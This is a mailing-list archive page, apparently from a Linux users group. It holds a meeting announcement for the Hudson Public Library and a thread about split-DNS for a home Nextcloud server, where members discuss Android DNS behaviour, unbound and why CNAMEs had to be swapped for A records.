Hey all, I'm posting to confirm that the venue for our upcoming in-person meeting at 7PM will be held at the Hudson Public Library! We may also want to look into eating options after the meeting, many of which are on Main Street: https://www.discoverhudson.org/taste/ My vote goes to the Rail Trail Flatbread which is close to the library and has some incredibly tasty menu items! And speaking of main streets, I'm happy to announce that Hudson has become a semi-finalist for the Main Street Contest! https://mainstreetcontest.com https://mainstreetcontest.com/profile/102 I think it's awesome that the town has seen so much growth since we moved here and gives us a sense of community. I'm excited to see where it'll go! - Josh

Nov. 15, 2021

Re: Use same hostname internally and externally

by John Stoffel

>>>>> "brad" == brad <bkn(a)ithryn.net> writes: brad> On Nov 12, 2021, at 19:34, John Stoffel <john(a)stoffel.org> wrote: brad> "brad" == brad via WLUG <wlug(a)lists.wlug.org> writes: brad> To quickly summarize my problem/question, I’d like to host a brad> nextcloud server at my house and be able to access it with the brad> same hostname whether I’m home or away. brad> I own a domain, let’s call it example.com. Its main DNS record brad> points to a node at digital oceans. However I’d like to host a brad> sub-domain at my house, let’s call it brad> home.example.com. Currently home.example.com resolves to a brad> routable IP address at my house. brad> - When I’m on the road, I’d like to be able to connect to https://home.example.come brad> - When I’m home, I’d like to be able to connect to https://home.example.com. brad> The above works on a well-behaved desktop receiving dns servers brad> via dhcp. Specifically, I have setup local dns to resolve brad> home.example.com to 192.168.1.1. Searching this topic has taught brad> me that this method is called Split-DNS. brad> However android and iOS do not appear to honer my local dns brad> server — I’m not sure why — so they resolve the address to a brad> routable IP and connect from within the private 192.168.1.0 brad> subnet. My firewall sees this and drops it b/c it is a brad> non-routable IP address connecting to the external interface. (I brad> got this info by running tcpdump and watching traffic). brad> Are your iphone and android getting their data from the Wifi network brad> or their phone network? brad> This is a great question and led to what I believe is the solution. brad> You might need to sniff port 53 traffic on brad> your firewall and see where they're sending queries to. Then you brad> might need to block or redirect those queries to your own internal DNS brad> server. brad> I did sniff port 53 (and 853) to observe dns traffic. I also brad> sniffed port 67 and 68 to make sure that the DNS server was brad> getting sent w/ the dhcp request. All was good on the dhcp brad> front, and port 53 sniffing did display the fact that my brad> internal domain names were getting resolved to CNAMEs, but on brad> Andoird, it stopped at that step. I.e. android got a CNAME for brad> up.internal.example.com, but did not resolve the CNAME any brad> further. Interesting, I'm kinda surprised. brad> Has anyone attempted something similar? Is there something I’m brad> overlooking? (Probably) You might need/want to reboot the Android, or see if there's a way to flush it's own internal DNS cache. But I don't have any android to play with at home. brad> I've been meaning to do it myself, putting in a local internal brad> override for my dynamic DNS external name, so I can conncent from both brad> inside and outside (when I'm on the $WORK VPN mostly) without having brad> to remember things. Silly to bounce SSH across the country to get brad> downstairs... but when you sit at a $WORK laptop most days... it's brad> nice to be able to hit home stuff via SSH and screen. brad> Agreed, I recently setup wireguard to use as VPN for this brad> purpose. I just ssh home, no really need for wireguard at this time. brad> My goal is to not do special configurations on enduser devices. A laudable goal for sure! brad> What is your firewall or router at home? Depending on what you have, brad> you might be able to block outgoing port 53 traffic, or redirect it to brad> your internal DNS server so those devices get the results you want. brad> I use OpnSense at home, so if that's what you're using, we can work brad> together on this. brad> My firewall is openbsd — my preferred firewall OS as I love pf — brad> and my name server is unbound. I believe OpnSense is built on a brad> BSD, so unbound maybe an option for you. I'm already running unbound as my internal DNS server. brad> On to the solution, or at least ‘what works for me’. As far as I brad> can tell unbound is not an authoritative name server, so I had brad> to change all the CNAMEs to A records. That is a little annoying brad> when I comes to my config file, but it does work. No, unbound works just fine as an authoritative nameserver from what I know. It's dnsmasq which doesn't work as an authoritative. I think the solution of using A records is actually the right one, since you want to override the outside world's A record for your hostname, so using a CNAME inside isn't going to really help because it will lookup the name, and I *think* A records are a higher priority than CNAMEs in the response. So just doing a CNAME won't do the trick. Since it's not something that changes often, having to buidl your own A record shouldn't be that big a deal. brad> For your reference, a related bug report for opnsense is linked brad> below with subsequent links about why unbound and CNAMEs do not brad> go together. brad> https://github.com/opnsense/core/issues/1041 This is an old bug, I'm running the latest production release of OpnSense and unbound, so I think I'm ok. brad> Thanks for provoking my curiosity into the eventual solution! Excellent! John

Nov. 13, 2021

Re: Use same hostname internally and externally

by brad

> On Nov 12, 2021, at 19:34, John Stoffel <john(a)stoffel.org> wrote: > >>>>>> "brad" == brad via WLUG <wlug(a)lists.wlug.org> writes: > > brad> To quickly summarize my problem/question, I’d like to host a > brad> nextcloud server at my house and be able to access it with the > brad> same hostname whether I’m home or away. > > brad> I own a domain, let’s call it example.com. Its main DNS record > brad> points to a node at digital oceans. However I’d like to host a > brad> sub-domain at my house, let’s call it > brad> home.example.com. Currently home.example.com resolves to a > brad> routable IP address at my house. > > brad> - When I’m on the road, I’d like to be able to connect to https://home.example.come > brad> - When I’m home, I’d like to be able to connect to https://home.example.com. > > brad> The above works on a well-behaved desktop receiving dns servers > brad> via dhcp. Specifically, I have setup local dns to resolve > brad> home.example.com to 192.168.1.1. Searching this topic has taught > brad> me that this method is called Split-DNS. > > brad> However android and iOS do not appear to honer my local dns > brad> server — I’m not sure why — so they resolve the address to a > brad> routable IP and connect from within the private 192.168.1.0 > brad> subnet. My firewall sees this and drops it b/c it is a > brad> non-routable IP address connecting to the external interface. (I > brad> got this info by running tcpdump and watching traffic). > > Are your iphone and android getting their data from the Wifi network > or their phone network? This is a great question and led to what I believe is the solution. > You might need to sniff port 53 traffic on > your firewall and see where they're sending queries to. Then you > might need to block or redirect those queries to your own internal DNS > server. > I did sniff port 53 (and 853) to observe dns traffic. I also sniffed port 67 and 68 to make sure that the DNS server was getting sent w/ the dhcp request. All was good on the dhcp front, and port 53 sniffing did display the fact that my internal domain names were getting resolved to CNAMEs, but on Andoird, it stopped at that step. I.e. android got a CNAME for up.internal.example.com, but did not resolve the CNAME any further. > brad> Has anyone attempted something similar? Is there something I’m > brad> overlooking? (Probably) > > I've been meaning to do it myself, putting in a local internal > override for my dynamic DNS external name, so I can conncent from both > inside and outside (when I'm on the $WORK VPN mostly) without having > to remember things. Silly to bounce SSH across the country to get > downstairs... but when you sit at a $WORK laptop most days... it's > nice to be able to hit home stuff via SSH and screen. > Agreed, I recently setup wireguard to use as VPN for this purpose. > brad> My goal is to not do special configurations on enduser devices. > > What is your firewall or router at home? Depending on what you have, > you might be able to block outgoing port 53 traffic, or redirect it to > your internal DNS server so those devices get the results you want. > > I use OpnSense at home, so if that's what you're using, we can work > together on this. > My firewall is openbsd — my preferred firewall OS as I love pf — and my name server is unbound. I believe OpnSense is built on a BSD, so unbound maybe an option for you. On to the solution, or at least ‘what works for me’. As far as I can tell unbound is not an authoritative name server, so I had to change all the CNAMEs to A records. That is a little annoying when I comes to my config file, but it does work. For your reference, a related bug report for opnsense is linked below with subsequent links about why unbound and CNAMEs do not go together. https://github.com/opnsense/core/issues/1041 Thanks for provoking my curiosity into the eventual solution! — brad

Nov. 13, 2021